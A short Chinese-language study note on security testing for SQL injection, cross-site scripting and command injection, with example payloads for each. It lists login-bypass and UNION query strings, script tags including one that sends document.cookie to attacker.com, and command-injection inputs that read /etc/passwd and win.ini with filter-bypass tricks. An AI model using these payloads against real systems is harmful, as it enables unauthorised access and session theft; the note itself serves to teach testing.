3种安全测试注入类笔记
一、SQL注入
- 核心思想:通过用户输入改变SQL查询逻辑。
- 示例说明:
原SQL语句:
SELECT * FROM users WHERE username = '$username' AND password = '$password';
注入Payload: admin' OR '1'='1' --
注入后SQL: SELECT * FROM users WHERE username = 'admin' OR '1'='1' -- AND password = '$password';
效果:注释掉密码验证部分,查询出所有用户信息。
- 常用Payload:
- 身份认证绕过: admin'-- 、 ' OR '1'='1' -- 、 admin' # 、 ' OR 1=1 -- 、 admin' OR '1'='1' --
- 数据获取(联合查询): ' ORDER BY 10 -- 、 ' UNION SELECT 1,2,3,4,5 -- 、 ' UNION SELECT 1,database(),user(),version(),5 --
二、跨站脚本(XSS)
- 核心思想:在用户输入中嵌入恶意脚本,在其他用户浏览器中执行。
- 示例说明:
正常场景:输入名字,返回 hello 名字 。
注入Payload: yoyo <img src=x onerror=alert(1)>
效果:返回 hello yoyo 并弹出警示框,执行了嵌入的JS脚本。
- 测试步骤示例:
- 反射型XSS(搜索、URL参数):在输入框中输入 <script>alert('XSS')</script> 、 <img src=x onerror=alert(1)> 、 <svg onload=alert(1)>
- 存储型XSS(评论、文章):输入 <script>fetch('https://attacker.com', {method: 'POST', body: document.cookie})</script> 、 <img> <svg> 等标签Payload
三、命令注入
- 核心思想:通过用户输入在服务器上执行未经授权的系统命令。
- 示例说明:
正常场景:执行 ping 命令,返回目标IP/域名的ping回复。
注入Payload: www.xxx.com & whoami
效果:除了ping回复,还返回当前系统用户信息。
- 常用Payload:
- 基础命令分隔符: ; whoami 、 | whoami 、 & whoami 、 127.0.0.1 & whoami
- 文件操作命令: ; cd / && ls -la (Linux)、 ; type C:\Windows\win.ini (Windows)、 ; echo 'hacked' > /tmp/test.txt
- 空格和字符绕过: ; cat${IFS}/etc/passwd 、 ; cat%09/etc/passwd
262

被折叠的 条评论
为什么被折叠?



